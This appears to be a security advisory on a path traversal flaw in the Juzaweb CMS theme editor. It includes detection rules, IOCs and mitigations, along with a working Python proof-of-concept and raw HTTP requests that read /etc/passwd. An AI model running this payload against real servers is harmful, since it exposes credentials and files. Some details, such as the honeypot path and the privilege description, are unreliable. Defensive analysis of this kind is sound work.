CVE-2024-7551

Executive Summary

CVE-2024-7551 is a path traversal vulnerability identified in the Juzaweb CMS, affecting versions up to and including 3.4.2. The flaw resides in the Theme Editor component, specifically within the file /admin-cp/theme/editor/default. An authenticated attacker with administrative privileges can exploit this vulnerability to traverse directories and read arbitrary files on the server, potentially exposing sensitive configuration files, source code, or credentials. The vulnerability has been publicly disclosed with a proof-of-concept (PoC), increasing the risk of exploitation. As of this report, no official patch has been released by the vendor, who did not respond to disclosure attempts.

Supply Chain & Package Security

Juzaweb CMS is a PHP-based content management system distributed via GitHub and Composer. The vulnerability affects the core application, not a third-party package. However, organizations using Juzaweb should treat this as a critical supply chain risk, as the lack of vendor response means no official fix is available. Users must rely on manual mitigation or consider migrating to an alternative CMS.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Requires admin login
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) - Limited to file read
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit code and the lack of a patch elevate the real-world risk. An attacker with admin credentials can read sensitive files, potentially leading to privilege escalation or lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the Theme Editor's file handling logic. The endpoint /admin-cp/theme/editor/default accepts a file path parameter to load and edit theme files. The application fails to properly sanitize user-supplied input, allowing an attacker to inject ../ sequences to escape the intended theme directory.

Root Cause: The application likely uses a function like file_get_contents() or fopen() with a concatenated path without validating that the resolved path stays within the allowed base directory. For example, a request like:

GET /admin-cp/theme/editor/default?file=../../../etc/passwd

would read /etc/passwd instead of a theme file.

Attack Flow:

1. Attacker authenticates as an admin user.
2. Attacker crafts a GET request to the vulnerable endpoint with a path traversal payload.
3. The server reads and returns the contents of the arbitrary file.
4. Attacker exfiltrates sensitive data (e.g., database credentials from .env, SSH keys, or application source code).

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the theme editor controller. A typical vulnerable PHP snippet might look like:

// Vulnerable code (conceptual)
$file = $_GET['file'];
$content = file_get_contents('/var/www/juzaweb/themes/' . $file);
echo $content;

A patched version would validate the path:

// Patched code (conceptual)
$baseDir = '/var/www/juzaweb/themes/';
$file = $_GET['file'];
$realPath = realpath($baseDir . $file);
if (strpos($realPath, $baseDir) !== 0) {
    die('Invalid path');
}
$content = file_get_contents($realPath);
echo $content;

Without an official patch, users must implement their own validation or use a Web Application Firewall (WAF) to block traversal patterns.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for Juzaweb CMS (version <= 3.4.2)
• Network access to the admin panel

Exploit Steps:

1. Log in to the admin panel.
2. Navigate to the Theme Editor (e.g., /admin-cp/theme/editor/default).
3. Intercept the request with a proxy (e.g., Burp Suite) and modify the file parameter.
4. Example payload to read /etc/passwd:

   GET /admin-cp/theme/editor/default?file=../../../etc/passwd HTTP/1.1
   Host: target.com
   Cookie: [admin_session_cookie]
   

5. The response will contain the contents of the requested file.

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login first (assumes credentials)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/admin-cp/login", data=login_data)

# Exploit path traversal
payload = "../../../etc/passwd"
r = session.get(f"{target}/admin-cp/theme/editor/default?file={payload}")
print(r.text)

Blue Team

Detection:

• Monitor for GET requests to /admin-cp/theme/editor/default with file parameters containing ../ or ..%2f.
• Alert on unusual file reads (e.g., /etc/passwd, /proc/self/environ, .env).

Honeypot:

• Deploy a fake file at /var/www/juzaweb/themes/../../../etc/shadow and alert on access.

Lab Setup:

• Use Docker to deploy a vulnerable instance:

  docker run -d -p 80:80 juzaweb/juzaweb:3.4.2
  

• Access the admin panel at http://localhost/admin-cp with default credentials (if set).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin-cp/theme/editor/default with file parameter containing ../ or URL-encoded variants.
• Outbound connections from the web server to unknown IPs after file read (data exfiltration).

File System IOCs:

• Unexpected access to files outside the theme directory (e.g., /etc/passwd, /var/www/.env).
• Modified or created files in the theme directory (if attacker writes back).

Log IOCs:

• Web server logs showing GET /admin-cp/theme/editor/default?file=../../../etc/passwd with HTTP 200.
• Application logs showing errors related to file inclusion or path resolution.

Detection Engineering

YARA Rule

rule CVE_2024_7551_PathTraversal {
    meta:
        description = "Detects path traversal attempts in Juzaweb CMS Theme Editor"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-7551"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $endpoint = "/admin-cp/theme/editor/default"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-7551 Path Traversal in Juzaweb CMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against Juzaweb CMS Theme Editor
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin-cp/theme/editor/default'
        cs-uri-query|contains: 
            - '../'
            - '..%2f'
            - '%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate theme file editing with deep paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7551 Juzaweb CMS Path Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/admin-cp/theme/editor/default"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit access to the admin panel to trusted IPs only (e.g., via VPN or firewall rules).
2. Input Validation: Implement a WAF rule to block requests containing ../ or ..%2f in the file parameter.
3. Disable Theme Editor: If not required, remove or disable the Theme Editor functionality by commenting out the route in the application code.

Long-Term Fix:

• Since the vendor is unresponsive, consider forking the repository and applying a patch to the theme editor controller. The fix should use realpath() to resolve the full path and verify it starts with the allowed base directory.
• Migrate to a supported CMS if Juzaweb is critical to operations.

Monitoring:

• Enable detailed logging for all admin panel requests.
• Set up alerts for path traversal patterns in web server logs.

Valters IT Signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Always obtain proper authorization before testing.

Report generated by Valters IT DevSecOps Intelligence